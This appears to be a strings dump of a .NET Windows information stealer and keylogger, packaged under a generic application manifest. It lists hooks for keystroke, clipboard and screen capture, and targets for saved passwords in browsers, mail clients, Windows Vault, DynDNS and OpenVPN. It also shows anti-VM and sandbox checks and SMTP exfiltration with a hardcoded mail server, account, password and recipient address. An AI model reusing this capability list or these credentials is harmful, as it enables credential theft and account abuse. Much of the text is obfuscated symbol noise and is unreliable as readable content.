!This program cannot be run in DOS mode.
`.rsrc
@.reloc
com.apple.Safari
Unable to resolve HTTP prox
1SPS*
KDBM(A
v4.0.30319
#Strings
E i }
8 Q [ c i s {
!.!F!f!
#)#4#D#
aPNZ30
mPP1RZB70
ZKMNz70
qPwH590
GWiPSuyiY0
JTlOx60Te0
eevGM9g0
D5kHOi0
$$method0x6000123-1
$$method0x6000095-1
$$method0x6000086-1
$$method0x6000267-1
$$method0x6000108-1
$$method0x6000128-1
$$method0x6000148-1
$$method0x6000129-1
$$method0x600019a-1
$$method0x600010e-1
$$method0x600011e-1
CqqZweO031
FR9enAFgs61
HMACSHA1
B7t42MbEoF1
cAmtPMG1
VT_UI1
WN2W5L1
bLGM89N1
hBBOoY1
IEnumerable`1
ICollection`1
IEnumerator`1
IList`1
2IgjS77c1
30yMHrc1
CS$<>9__CachedAnonymousMethodDelegate1
FAKCXjZi1
KVVbSk1
get_Item1
XASFt5H7gn1
Fwu9kQGq1
L6VC2s1
3fZXn9w1
$$method0x6000267-2
$$method0x6000108-2
$$method0x600011e-2
2J5vkK02
HMACSHA512
Advapi32
kernel32
Microsoft.Win32
user32
ToUInt32
ReadInt32
ToInt32
qNAFw32
AVMQO8SSQ62
BGqNczbf082
VT_UI2
Fu1HzJGK2
lZwAGRwX2
hAWX9pExY2
KeyValuePair`2
Dictionary`2
get_Item2
9wjNw7t2
83nxAguIB3
QRhAhPcjQS3
Tuple`3
wBJAXj3
get_Item3
spiJWzXq04
gU8JyPwd544
ToUInt64
ReadInt64
ToInt64
SKjrm2eF4
V1Sq4ylF4
VT_UI4
vtMo6P4
Dq8bjxdyJV4
2EnyV4
CjloQGvc4
nWcGHl91h4
peqopTyh4
tQSyBZv4
xDEI3PneR5
2ef0ab37-7f3e-4594-af6b-a038ff0febc5
AI8LEXYe5
jFjKLBOi5
hB1Rn5
TnHwUGu5
IS_TEXT_UNICODE_ASCII16
IS_TEXT_UNICODE_REVERSE_ASCII16
ToUInt16
ReadInt16
ToInt16
HMACSHA256
3JKKm86
amXrmHD6
iIJ7yD6
G3Dw96I6
0x2TgfjJ6
BZeoxS6
vj4A58E6e6
PgOwPZ4Kg6
7xEw7bh6
LCgnHrOGk6
XiXjRgWuV57
ldTcTATGP7
e4dn67nq5l7
KFNBtyX4n7
vcwYcf8Ev7
492wJG48
F5zUWA8
get_UTF8
VT_UI8
VaultGetItem_WIN8
mxtPnrXN8
lZyMRucNW8
JJjRCUu8
8ai6w9y8
IZQW39
60m4N6a99
TG73lZDND9
y31U0N9
mQpUKCi9
f2fFVnhl9
<Module>
rdNWe0A
3vmz06A
LMIUyjp8AA
4uMUgSA
eu8WsrWA
kVMYC3tfA
zUfeNtA
1gsiicqxxA
Md2tGLMPUyA
YfzyXDVLB
BCRYPT_KEY_DATA_BLOB
VT_BLOB
sfAyYv0uB
tmSpUFLuB
Lq7PaCx1C
5mY0aZVON2C
ZGRSx87C
MruNID4ArEC
BCRYPT_KEY_DATA_BLOB_MAGIC
reaS9bC
bU2aWbC
emwLIlbC
2ZMqsANEpC
h34mmRbR2D
qI3HPk6D
LLKHF_EXTENDED
LLKHF_INJECTED
LD854FD
VT_CLSID
get_ID
set_ID
FileHandleID
fileHandleID
lpdwProcessID
processID
get_FormatID
set_FormatID
IUqDFUpgYQD
rdn6RUD
h2GXX5ta4E
RyMU3l5E
DUPLICATE_CLOSE_SOURCE
BCRYPT_CHAINING_MODE
VT_STORAGE
INVALID_HANDLE
VT_FILETIME
IS_TEXT_UNICODE_SIGNATURE
IS_TEXT_UNICODE_REVERSE_SIGNATURE
VT_DATE
IS_TEXT_UNICODE_DBCS_LEADBYTE
g1XYXNyXE
gG8A10IhbE
4FFvkE
NjmaCivnltE
Z3CL97HmryE
9BJWvSF
XGCuTCQJIiF
20jflF
2ssaMcC6G
Vb0qNt6G
BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG
fCifSAG
m8IXkOjOfGG
5kKGkrLG
OZkujShDCVG
2Sjwn1VMPcG
FbJEaTzyuoG
X8qJ4DHx3H
iPFNRJ89H
Xh225CH
STATUS_AUTH_TAG_MISMATCH
STATUS_INFO_LENGTH_MISMATCH
WCGCnmgPH
JRjoVvSH
IS_TEXT_UNICODE_ODD_LENGTH
BCRYPT_AUTH_TAG_LENGTH
BCRYPT_OBJECT_LENGTH
rJ9yfnnSZH
0FnCzfjVgH
72CF8egH
rYde3z5jHiH
NWNkAejH
7bBh6qH
ILYn0I
u11Lp0jAI
get_ASCII
VZLQKI
FYlEs1AeOMI
OY2uW21OI
wPRlpDCzI
raKG3Ix4J
oE4u9J8c5J
KWD8NJ
lFIn8CDWJ
WMw9egaJ
QWYRtzwsbJ
rWkEEqrJ
D4i8js9BdyJ
Y2OtXYgzJ
HmrA0q1K
29eJ9v37K
4BoCBNlCK
1BwQ2ie4ULK
IS_TEXT_UNICODE_UNICODE_MASK
IS_TEXT_UNICODE_NOT_UNICODE_MASK
IS_TEXT_UNICODE_REVERSE_MASK
IS_TEXT_UNICODE_NOT_ASCII_MASK
00D8VK
FkQhwSFWK
7bKCooaK
lGQGlK
guplIAtw0L
Ms39zjtU7L
xyq29L
jeFxkJ7o9L
VT_DECIMAL
VT_NULL
WH_KEYBOARD_LL
VT_BOOL
abfkDQL
DdrNrRL
SmtpSSL
p8g9o3M
WRLmomeE9M
4Vv9lnZ0AM
VT_VERSIONED_STREAM
VT_STREAM
BCRYPT_CHAIN_MODE_GCM
BCRYPT_AES_ALGORITHM
lqNF9APM
fMBwg8RM
oj1P0zPyTM
SN45UM
2ffwzQleM
HXjfnMvjM
xeMrwxM
wXQQzM
uqWG1fQq2N
qMr7EBZFKN
BCRYPT_INIT_AUTH_MODE_INFO_VERSION
HC_ACTION
FX7HHWraGVN
LLKHF_ALTDOWN
WM_SYSKEYDOWN
WM_KEYDOWN
KslVdSXN
AEwafN
oq4SqN
Q4ZYmMoqN
9e9aSrN
bo0t4O
System.IO
jkqst2kLO
JP6Y8QeQO
HdTxbO
BCRYPT_PAD_OAEP
cckYgc7KHP
bWUSAbtJP
kQ8oXAB2MP
WM_SYSKEYUP
WM_KEYUP
w3MBVIILYUP
LLKHF_UP
KYm32iYhjP
d8i1XboP
GKwrCBSxW2Q
V80DxIRKr2Q
FdHwi786Q
qFjNAQ
HEqiEQ
NARkBGQ
fGimqHQ
q911qPkpgQQ
QnqDeardwRQ
4ZL2pUQ
GGTUFLVQ
WZhfJ5QMVQ
LcBEWQ
icjwxSvOs0R
O8qXoSDh07R
MS_PRIMITIVE_PROVIDER
VT_ERROR
VT_VECTOR
VT_BSTR
VT_LPSTR
VT_LPWSTR
0KJCk4vcR
asYCeeR
P3lDjR
yzC2YNu2S
dR3QrG3S
DUd5kbmfBS
IS_TEXT_UNICODE_STATISTICS
IS_TEXT_UNICODE_REVERSE_STATISTICS
IS_TEXT_UNICODE_NULL_BYTES
IS_TEXT_UNICODE_CONTROLS
IS_TEXT_UNICODE_REVERSE_CONTROLS
IS_TEXT_UNICODE_ILLEGAL_CHARS
DUPLICATE_SAME_ACCESS
ERROR_SUCCESS
STATUS_SUCCESS
BCRYPT_PAD_PSS
filgfzaVTcS
ypeNQpgS
nXSmhS
5Ux6hmS
0YGrcaOyS
x1rKaKT
VT_UINT
VT_INT
c46UzpvmcT
kvOwAfT
sxqTkT
ut4FYSwT
3uPsILA6U
HYRIOu8U
KP1XffNw0JU
3DuWt7JyhMU
KknBQ6fcVU
m1H7xVutuU
AMtkvHV
get_IV
set_IV
kkqOue5XYV
83S3hV
GJYrsONhshV
FNnUjV
5lLfEF7W
jh6mKXzpAW
Sf1uMW
STATUS_BUFFER_OVERFLOW
DguKMlZUlPW
heVkGMvNbRW
8bURAQWW
ORSoGNX9lW
ml4RvW
LuETpPmoyW
Ljq6xD21ACX
JpG127CSuPX
IfvlbdlTX
YH2hWX
1fTQvfHDcX
44EgGhXUhX
78GcEmX
2tQ846yAh8Y
VT_ARRAY
KHV85FaNWFY
AB61JY
VT_EMPTY
tdTUccY
rSFIg5NeY
EPk1OmkY
HxrFR5EI9tY
j8W1HWY4Z
riKuoWtDZ
cTR5FZ
M6UdoGZ
S6nIWZ
rxiqtuWZ
zqCIoSISNjZ
5LTPrZ
value__
w40X4hajQa
j0YGRZ6Ra
w8A9Q3hutda
0i6HG2Jga
uCzWUMma
get_Data
set_Data
cbData
ProtectedData
cbAuthData
pbAuthData
PropertyData
SetQuota
tWkB2K0PUva
V3LYya
gQ6wo99gHb
PublicIpAddressGrab
mscorlib
7KtXmb
dYvcm4xb
wLFGh8m7Sc
jBgqbrac
System.Collections.Generic
Microsoft.VisualBasic
WndProc
HookProc
f0nNh6pc
FromFileTimeUtc
b4ACvRwc
glTweXrssxc
get_Id
SchemaId
schemaId
pszAlgId
HookId
uaEFzlId
GetWindowThreadProcessId
processId
SchemaElementId
x8HL5PMJ8Jd
XTKE80Pd
zGCP4sTd
VF63axWd
PageExecuteRead
OpenRead
FileMapRead
VirtualMemoryRead
CreateThread
lpcbNeeded
DomainExtended
SHA1Managed
RijndaelManaged
add_Changed
remove_Changed
get_LastModified
set_LastModified
_lastModified
Interlocked
set_Enabled
get_IsEnabled
set_IsEnabled
_enabled
Undefined
lpOverlapped
samDesired
add_Elapsed
get_LastAccessed
set_LastAccessed
_lastAccessed
get_Reserved
reserved
oGJx8hd
TorPid
activeWindowPid
pPackageSid
row_id
get_IsInvalid
get_Guid
vaultGuid
PcHwid
<ID>k__BackingField
<FormatID>k__BackingField
<Data>k__BackingField
<LastModified>k__BackingField
<IsEnabled>k__BackingField
<LastAccessed>k__BackingField
<Password>k__BackingField
<password>k__BackingField
<PropertyStorage>k__BackingField
<Name>k__BackingField
<FileName>k__BackingField
<ApplicationName>k__BackingField
<Username>k__BackingField
<username>k__BackingField
<Type>k__BackingField
<type>k__BackingField
<TypedPropertyValue>k__BackingField
<Size>k__BackingField
<IsRunning>k__BackingField
<Path>k__BackingField
<hostmask>k__BackingField
<Version>k__BackingField
<Application>k__BackingField
<Description>k__BackingField
<user>k__BackingField
<hoster>k__BackingField
<Tasks>k__BackingField
<Contacts>k__BackingField
<objects>k__BackingField
<Accounts>k__BackingField
<Keys>k__BackingField
<Lenght>k__BackingField
<Host>k__BackingField
<GuidMasterKey>k__BackingField
GetField
TrimEnd
ReadToEnd
AppEnd
Append
get_Millisecond
GetUpperBound
GetLowerBound
set_Method
method
Clipboard
get_Password
set_Password
DomainPassword
SmtpPassword
get_password
set_password
alf52vd
0s5HDZiqdxd
KGoifdXgAe
LUXpHAhG6Fe
arnCz4rLe
qfcfNENMzUe
oo8ThQXe
Replace
IsNullOrWhiteSpace
DeleteBackspace
QueryDosDevice
hInstance
IdentityReference
Sequence
cbNonce
pbNonce
Resource
w85Ade
DSIlOde
vkCode
wScanCode
scanCode
keyCode
set_Mode
FileMode
ShareMode
PaddingMode
CryptoStreamMode
CipherMode
SelectSingleNode
XmlNode
get_Unicode
get_BigEndianUnicode
IsTextUnicode
FromImage
SectionImage
get_PropertyStorage
set_PropertyStorage
SerializedPropertyStorage
SendMessage
MailMessage
AddRange
CompareExchange
CredentialCache
SectionNoCache
EndInvoke
BeginInvoke
GetEnvironmentVariable
SetEnvironmentVariable
IEnumerable
IDisposable
ToDouble
get_Handle
RuntimeFieldHandle
hSourceHandle
SafeHandle
GetModuleHandle
RuntimeTypeHandle
ReleaseHandle
CloseHandle
DuplicateHandle
CreateHandle
GetTypeFromHandle
hSourceProcessHandle
hTargetProcessHandle
lpTargetHandle
bInheritHandle
vaultHandle
activeWindowHandle
handle
Rectangle
ToSingle
CreateFile
hTemplateFile
DeleteFile
WriteFile
MoveFile
MapViewOfFile
UnmapViewOfFile
lastTitle
activeWindowTitle
lphModule
get_MainModule
ProcessModule
get_Name
set_Name
lpDeviceName
get_FileName
set_FileName
GetModuleFileName
lpExistingFileName
lpFileName
GetFileName
lpNewFileName
_fileName
get_ModuleName
lpModuleName
lpBaseName
baseName
lpValueName
StartupRegName
rootPathName
get_OSFullName
get_FullName
OperatingSystemName
get_ApplicationName
set_ApplicationName
StartupInstallationName
lpName
lpAppName
get_UserName
get_ComputerName
ThisComputerName
ProcessorName
get_ProcessName
processName
StartupEnvName
GetProcessesByName
lpKeyName
pszCredentialFriendlyName
StartupDirectoryName
GetDirectoryName
astable_name
item_name
Filename
filename
get_Username
set_Username
get_username
set_username
System.Net.Mime
DateTime
GetLastAccessTime
dwTime
AppendLine
get_NewLine
Combine
LocalMachine
Escape
Unescape
DataProtectionScope
get_Type
set_Type
set_MediaType
pszBlobType
GetFileType
MimeType
ValueType
LogType
SecurityProtocolType
GetType
ContentType
item_type
get_type
set_type
FileShare
Compare
System.Core
PtrToStructure
get_InvariantCulture
Capture
HttpWebResponse
GetResponse
Dispose
Reverse
X509Certificate
GenericCertificate
DomainCertificate
Create
KBDLLHookProcDelegate
MulticastDelegate
Terminate
PcState
GetKeyboardState
lpKeyState
GetKeyState
Delete
PageReadWrite
PageExecuteReadWrite
nNumberOfBytesToWrite
FileMapWrite
VirtualMemoryWrite
Remote
STAThreadAttribute
CompilerGeneratedAttribute
GuidAttribute
SecuritySafeCriticalAttribute
ExtensionAttribute
AssemblyFileVersionAttribute
FlagsAttribute
CompilationRelaxationsAttribute
ReliabilityContractAttribute
ParamArrayAttribute
RuntimeCompatibilityAttribute
SuppressUnmanagedCodeSecurityAttribute
set_UseShellExecute
FileMapExecute
ReadByte
ToByte
get_Value
HandleValue
TryGetValue
get_TypedPropertyValue
set_TypedPropertyValue
GetPropertyValue
set_KeepAlive
Remove
SectionReserve
0J9qhRTxe
get_Size
set_Size
dataSize
cbSize
get_StorageSize
lpFileSize
get_NameSize
volumeNameSize
nFileSystemNameSize
SQLDataTypeSize
get_StoreSize
get_ValueSize
get_HashSize
set_BlockSize
chunkSize
get_KeySize
Serialize
Deserialize
Initialize
Finalize
Synchronize
page_size
Resize
vVj3Ws85f
AgnotEs4YBf
3mwXMf
SizeOf
get_ItemOf
LastIndexOf
cchBuff
lr9Ivuhf
lastInputInf
2dNhQCZ5g
AUy3sCg
Y4OIxn8fMDg
tTvhqjT0vEg
03nSn3D5YYg
1nN7zYg
get_Jpeg
System.Threading
get_Padding
set_Padding
UTF8Encoding
encoding
System.Drawing.Imaging
get_IsRunning
set_IsRunning
CreateFileMapping
FromBase64String
ToBase64String
EscapeDataString
UnescapeDataString
DownloadString
lpReturnedString
GetPrivateProfileString
ToString
GetString
OctetString
BitString
Substring
System.Drawing
get_Msg
KXG6vgLF2h
7P2Wqv95h
vLM8Dh
FITEPh
Kax6FQh
r6FWRh
9p4aERxdSh
0G1xy3qcWh
SmtpAttach
dwMaximumSizeHigh
dwFileOffsetHigh
ComputeHash
get_Path
set_Path
SystemAppdataPath
get_ExecutablePath
AsmFilePath
AppStartupFullPath
GetTempPath
GetFolderPath
lpTargetPath
StartupDirectoryPath
get_Width
get_Length
MaximumLength
dwMinLength
SystemInformationLength
ObjectInformationLength
set_MaxJsonLength
ReturnLength
maximumComponentLength
GetWindowTextLength
dwMaxLength
EndsWith
StartsWith
9NHI2ofwh
tVLCxh
e0rwpVyA2i
fnbM2X8i
FPCD8gMIi
If269K4yOi
LSGfFWN4Pi
sn0h2lhGTi
DMLBtVGZtci
rONZtzqhi
PtrToStringUni
StringToHGlobalUni
XZtDUOj
MijlDUj
Avts9DHVj
objrij
KZgc6viG0k
N1HwG0k
Vby1Awgb1k
j9wfOlin1k
581uPHrL2k
h04lmFq1Ek
aGOUoAoHk
AsyncCallback
RemoteCertificateValidationCallback
get_ServerCertificateValidationCallback
set_ServerCertificateValidationCallback
callback
GJJGWeck
get_CapsLock
TransformFinalBlock
TransformBlock
pbPtpQSBhk
VcojwNckk
runuORmk
idHook
_clipboardHook
_keyboardHook
c1uU5kEiDpk
Utbx5KckOqk
YDkCFhG8rk
get_hostmask
set_hostmask
G6qycuuk
qvvARaFl
FjwXO8XBkFl
qtViPl
AllocHGlobal
FreeHGlobal
Illegal
Marshal
NetworkCredential
Decimal
System.Security.Principal
set_Interval
ScreenInterval
KeyloggerInterval
Rijndael
cbLabel
pbLabel
System.Collections.ObjectModel
System.ComponentModel
EnableTorPanel
UJJCGgl
System.Net.Mail
gA9scxMvkl
Kernel32.dll
kernel32.dll
User32.dll
user32.dll
vaultcli.dll
psapi.dll
ntdll.dll
bcrypt.dll
System.Xml
set_IsBodyHtml
set_SecurityProtocol
Control
Seq2ql
set_EnableSsl
ql1aKvm3m
QyzHYyZ7m
CaCH5asZi9m
FileStream
get_BaseStream
GetResponseStream
CryptoStream
MemoryStream
get_LParam
get_WParam
get_Param
lParam
wParam
e140eaWadm
get_Item
set_Item
VaultGetItem
vaultItem
OperatingSystem
vOojIfm
HmacAlgorithm
SymmetricAlgorithm
phAlgorithm
KeyedHashAlgorithm
algorithm
zLS4Zom
Random
ICryptoTransform
Maximum
root_num
CWWDGym
XiIS1n
5poV1n
VnvZxpt3n
zhpYwv5m8n
GRbKubk9n
uOhzigtXn
ToBoolean
IsLittleEndian
G5CXsdn
CopyFromScreen
get_PrimaryScreen
lpNumberOfBytesWritten
X509Chain
ChangeClipboardChain
Extension
get_OSVersion
get_Version
set_Version
dwInfoVersion
get_Application
set_Application
get_Location
ObjectDataInformation
SystemRegistryQuotaInformation
SystemBasicInformation
ObjectBasicInformation
QueryLimitedInformation
SystemPerformanceInformation
SystemProcessorPerformanceInformation
SystemLookasideInformation
SystemHandleInformation
ObjectNameInformation
GetVolumeInformation
ObjectTypeInformation
ObjectAllInformation
NtQuerySystemInformation
SystemExceptionInformation
SystemProcessInformation
ObjectInformation
SetInformation
SystemInterruptInformation
SystemTimeOfDayInformation
QueryInformation
VirtualMemoryOperation
pszImplementation
System.Globalization
System.Web.Script.Serialization
System.Reflection
PropertyDataCollection
ValueCollection
MatchCollection
GroupCollection
ManagementObjectCollection
AttachmentCollection
KeyCollection
set_Position
CreationDisposition
get_ContentDisposition
SearchOption
Win32Exception
CryptographicException
ArgumentOutOfRangeException
ArgumentException
get_Description
set_Description
get_StatusDescription
_description
System.Runtime.ConstrainedExecution
StringComparison
add_KeyDown
remove_KeyDown
get_CtrlKeyDown
get_ShiftKeyDown
get_AltKeyDown
Unknown
CompareTo
CopyTo
b5zizXo
l5HPeo
lastInPutNfo
dwExtraInfo
ImageCodecInfo
FieldInfo
FileInfo
CultureInfo
pPaddingInfo
FileSystemInfo
MemberInfo
ComputerInfo
get_StartInfo
ProcessStartInfo
GetLastInputInfo
DirectoryInfo
N6xADkXno
FJ9khTH1WCp
GGm2pbDp
YRQqPp
add_KeyUp
remove_KeyUp
GRTfKXp
dwNumberOfBytesToMap
kjg3ZK5Wfap
Bitmap
8Ub6zwseCdp
TimeStamp
LocalApp
AppAddStartup
HideFileStartup
XTh06Aq
2PqzTl7ZGCq
v9T4SJTFDq
nDIebFOq
CpdBQq
7EdN3mzZq
nKI7jq
System.Linq
DoG3VFgoq
fyCq5Pttq
A48aGuHwq
mMR7gRPK7r
kOtgF8r
45ye5Wr
ToChar
lpChar
DirectorySeparatorChar
ObjectTypeNumber
volumeSerialNumber
StreamReader
TextReader
BinaryReader
SHA1CryptoServiceProvider
MD5CryptoServiceProvider
RNGCryptoServiceProvider
TripleDESCryptoServiceProvider
BCryptCloseAlgorithmProvider
BCryptOpenAlgorithmProvider
IFormatProvider
StringBuilder
SpecialFolder
SmtpSender
sender
Encoder
volumeNameBuffer
fileSystemNameBuffer
buffer
ServicePointManager
Integer
EnableClipboardLogger
EnableScreenLogger
_screenLogger
_keyLogger
EnableKeylogger
ManagementObjectSearcher
ObjectIdentifier
SecurityIdentifier
ElapsedEventHandler
LogTimer
ToUpper
CurrentUser
get_user
set_user
EncoderParameter
Object_Pointer
BitConverter
get_hoster
set_hoster
BinaryFormatter
SmtpReceiver
SmtpServer
SetClipboardViewer
ToLower
JavaScriptSerializer
LvMkdJ4cjr
vpnPZPC0Wlr
get_Major
get_Minor
GetLastWin32Error
GetLastError
Authenticator
IEnumerator
ManagementObjectEnumerator
GetEnumerator
RandomNumberGenerator
.cctor
Monitor
CreateDecryptor
CreateEncryptor
DvPMkqr
passwordVaultPtr
ReadIntPtr
omC8P6gwr
xIuxIIK216s
TAoSoekHx6s
llSiidru4Cs
if2NgBlIs
hJlkacKs
an9J4jQs
5g4hcs
Graphics
System.Diagnostics
get_Bounds
Microsoft.VisualBasic.Devices
System.Runtime.InteropServices
System.Runtime.CompilerServices
GetInstances
get_ChildNodes
Matches
EnableCookies
GetDirectories
master_table_entries
get_Properties
ExpandEnvironmentVariables
GetFiles
EnumProcessModules
NumberStyles
GetSubKeyNames
field_names
ReadAllLines
GetProcesses
System.Security.Cryptography.X509Certificates
FlagsAndAttributes
lpFileMappingAttributes
SecurityAttributes
FileBytes
Rfc2898DeriveBytes
ReadAllBytes
BufferBytes
GetBytes
db_bytes
get_Values
GetLogicalDrives
fileSystemFlags
dwFlags
ElapsedEventArgs
get_Ticks
get_Tasks
set_Tasks
ICredentials
set_Credentials
get_DefaultCredentials
set_UseDefaultCredentials
Equals
CreateParams
VaultEnumerateItems
System.Windows.Forms
Contains
System.Web.Extensions
System.Text.RegularExpressions
iterations
System.Collections
set_MaximumAutomaticRedirections
StringSplitOptions
RegexOptions
options
get_Groups
get_Chars
GetImageEncoders
System.Timers
RuntimeHelpers
EncoderParameters
SslPolicyErrors
SystemInformationClass
ObjectInformationClass
ManagementClass
dwDesiredAccess
GrantedAccess
FileAccess
FileMapAllAccess
processAccess
get_Success
CreateProcess
hProcess
OpenProcess
GetCurrentProcess
lpBaseAddress
MailAddress
PublicIpAddress
k7As1rCFts
get_Contacts
set_Contacts
EnableContacts
get_objects
set_objects
VaultEnumerateVaults
pPropertyElements
get_Attachments
set_Arguments
get_Accounts
set_Accounts
get_Exists
OcVZmus
get_Keys
set_Keys
get_ModifierKeys
125Jd3t
ICu4D7t
6oQOw74dfIt
caGMeSoKt
mfvB2mWfLt
YpU3Rt
qYdoNat
Concat
AppendFormat
ImageFormat
Subtract
VT_BLOB_Object
VT_STREAMED_Object
VT_STORED_Object
ManagementBaseObject
hFileMappingObject
hObject
ManagementObject
cbKeyObject
pbKeyObject
NtQueryObject
object
set_Subject
Collect
set_AllowAutoRedirect
flProtect
Unprotect
System.Net
offset
8EO4QDmRgt
get_Height
get_Lenght
set_Lenght
op_Explicit
SectionCommit
WaitForExit
DeRNUjt
cbSalt
VaultOpenVault
get_Default
lpDefault
pcbResult
IAsyncResult
phkResult
result
JEFYK9nt
UnsignedInt
ToUpperInvariant
set_UserAgent
PublicUserAgent
WebClient
SmtpClient
System.Management
pResourceElement
XmlElement
pAuthenticatorElement
pIdentityElement
dwIncrement
sql_statement
Attachment
Environment
XmlDocument
get_Parent
GetParent
get_Current
CheckRemoteDebuggerPresent
isDebuggerPresent
content
get_Count
get_HandleCount
get_TickCount
vaultItemCount
set_IterationCount
dwPropertiesCount
vaultCount
BCryptDecrypt
BCryptEncrypt
TrimStart
AppStart
Convert
set_Port
SmtpPort
UnsignedShort
HttpWebRequest
XmlNodeList
ToList
MozillaBrowserList
ChromiumBrowserList
get_Host
set_Host
ICredentialsByHost
XdNGPRtt
set_Timeout
GetKeyboardLayout
dwLayout
cbInput
pbInput
cbOutput
pbOutput
get_StandardOutput
set_RedirectStandardOutput
7HMbm5Wxt
MoveNext
System.Text
LastCopiedText
KeylogText
ReadAllText
AppendAllText
get_InnerText
GetText
GetWindowText
Log_text
cbMacContext
pbMacContext
zTuPcMfs94u
iW8xDDFHHu
YQt5Ou
LAV9Ke3Wu
VnYCYiGau
lBHNPileBmu
npxgUhBUsDv
Tu490w2iLv
L6lwFr8WTMv
ILXHd0Nv
CEyjkNv
CnvN3eWTv
HUWE2Uv
HyT9CbsVv
54AUTejrWv
Q9uEhv
FlfZv3N0w
enEkFjw
ObhKIZjw
eRh5vnDwanw
DsYaonw
dwMaximumSizeLow
dwFileOffsetLow
get_Now
GetForegroundWindow
NativeWindow
set_CreateNoWindow
BD1MESuuyw
sbQFH7x
gnsoF6Dx
3QjbQ514BDx
ToUnicodeEx
GetModuleFileNameEx
RegQueryValueEx
GetFileSizeEx
UnhookWindowsHookEx
SetWindowsHookEx
CallNextHookEx
MaximumEx
RegOpenKeyEx
r9dpGiFx
sIjerCXx
ucchMax
gBRTIbdx
Lzyzsdx
BufferEndIndex
BlockIndex
BufferStartIndex
lnwpjx
KORGGp2lx
Eq7WvNulx
IilZeJEvpx
zn6hR6M1y
N1z40ijZ85y
UCk0rYAy
hOT87BIy
5L3SRiNNYOy
oIPhVSy
ProtectedArray
ToByteArray
InitializeArray
ToArray
ToCharArray
Consistency
GKb8LSgOdy
set_Body
get_Key
set_Key
OpenSubKey
subKey
RegCloseKey
get_GuidMasterKey
set_GuidMasterKey
_guidMasterKey
ContainsKey
wVirtKey
hImportKey
BCryptImportKey
BCryptDestroyKey
RegistryKey
_wsftpkey
System.Security.Cryptography
28HV1Njy
MPHVK62srjy
GetExecutingAssembly
PageReadonly
Multiply
Wnfamy
PageWriteCopy
BlockCopy
FileMapCopy
System.Runtime.Serialization.Formatters.Binary
AmountOfMemory
get_TotalPhysicalMemory
Directory
Registry
get_Capacity
Quality
op_Equality
op_Inequality
System.Security
System.Net.Security
Identity
IsNullOrEmpty
BCryptSetAlgorithmProperty
BCryptGetProperty
BCryptSetProperty
pszProperty
ozx44bz0z
zHlYGbFP3z
vhPJfDFz
xOE6ODaGz
UX3MMZPz
UeDMSz
pbuVez
Hy4V1Zfz
2X4glehz
6Zu9m5kz
X7350PAkz
O6XQ4pXdlz
$bc05f74c-9530-4c21-a011-8b4bb5a943f3
WrapNonExceptionThrows
1.0.0.0
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
t t t!t"t#t$t%t&t't(t)t*t+t,t-t.t/t0t1t2t3t4t5t6t7t8t9t:t;t<t=t>t?t@tAtBtEtFtGtHtItLtiy
k#n+n9
5 6 7!8"9#:$;%<&='>(?)@*A+B,C-D0E4F5G6H7I8J9L:O;P=RAUD[F`HfLxRyVzX{[|_}b
CBDBJIKIRQWVXVYV_^fehgigjgkglgmgpo
image/jpg
yyyy_MM_dd_HH_mm_ss
/log.tmp
yyyy-MM-dd HH:mm:ss
text/plain
Contacts
Time:
<br>OSFullName:
IP Address:
<br>RAM:
<br>User Name:
<br>Computer Name:
MM/dd/yyyy HH:mm:ss
<br>CPU:
Recovered!
Time:
OSFullName:
User Name:
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
mail.grupojen.es
gerencia@grupojen.es
Grupojen0923@
schneiderdaniel4337@gmail.com
appdata
eXCXES
eXCXES.exe
http://ip-api.com/line/?fields=hosting
Sf2.dll
SxIn.dll
snxhk.dll
SbieDll.dll
cmdvrt32.dll
Select * from Win32_ComputerSystem
Manufacturer
microsoft corporation
VIRTUAL
vmware
VirtualBox
root\CIMV2
SELECT * FROM Win32_VideoController
VMware
]</b> (
{BACK}
{PageUp}
{KEYRIGHT}
{NumLock}
{KEYUP}
{HOME}
{Insert}
{PageDown}
{ALT+TAB}
{KEYLEFT}
{KEYDOWN}
{CAPSLOCK}
{ALT+F4}
control
{CTRL}
{ENTER}
"
<br><hr>Copied Text: <br>
logins
IE/Edge
2F1A6504-0641-44CF-8BB5-3612D865F2E5
Windows Secure Note
3CCD5499-87A8-4B10-A215-608888DD3B55
Windows Web Password Credential
154E23D0-C644-4E6F-8CE6-5069272F999F
Windows Credential Picker Protector
4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Web Credentials
77BC582B-F0A6-4E15-4E80-61736B6F3B29
Windows Credentials
E69D7838-91B5-4FC9-89D5-230D4D4CC2BC
Windows Domain Certificate Credential
3E0E35BE-1B77-43E7-B873-AED901B6275B
Windows Domain Password Credential
3C886FF3-2669-4AA2-A8FB-3F6759A77548
Windows Extended Credential
00000000-0000-0000-0000-000000000000
SchemaId
pResourceElement
pIdentityElement
pPackageSid
pAuthenticatorElement
UC Browser
UCBrowser\
Login Data
journal
wow_logins
Safari for Windows
\Common Files\Apple\Apple Application Support\plutil.exe
\Apple Computer\Preferences\keychain.plist
<dict>
<string>
</string>
<data>
</data>
<array>
-convert xml1 -s -o "
\fixed_keychain.xml"
\Microsoft\Credentials\
\Microsoft\Protect\
credential
QQ Browser
\EncryptedStorage
\Default\EncryptedStorage
Tencent\QQBrowser\User Data
Profile
entries
category
Password
password_value
IncrediMail
SmtpPassword
PopPassword
Software\IncrediMail\Identities\
\Accounts_New
SmtpServer
EmailAddress
Eudora
Software\Qualcomm\Eudora\CommandLine\
current
Settings
SavePasswordText
ReturnAddress
Falkon Browser
startProfile=([A-z0-9\/\.\"]+)
profiles.ini
\browsedata.db
autofill
\falkon\profiles\
ClawsMail
\Claws-mail
\clawsrc
passkey0
master_passphrase_salt=(.+)
master_passphrase_pbkdf2_rounds=(.+)
\accountrc
smtp_server
address
account
\passwordstorerc
{(.*),(.*)}(.*)
Flock Browser
APPDATA
\Flock\Browser\
signons3.txt
DynDns
ALLUSERSPROFILE
Dyn\Updater\config.dyndns
username=
password=
https://account.dyn.com/
t6KzXhCh
Dyn\Updater\daemon.cfg
global
accounts
account.
username
password
Psi/Psi+
\accounts.xml
\Psi+\profiles
\Psi\profiles
OpenVPN
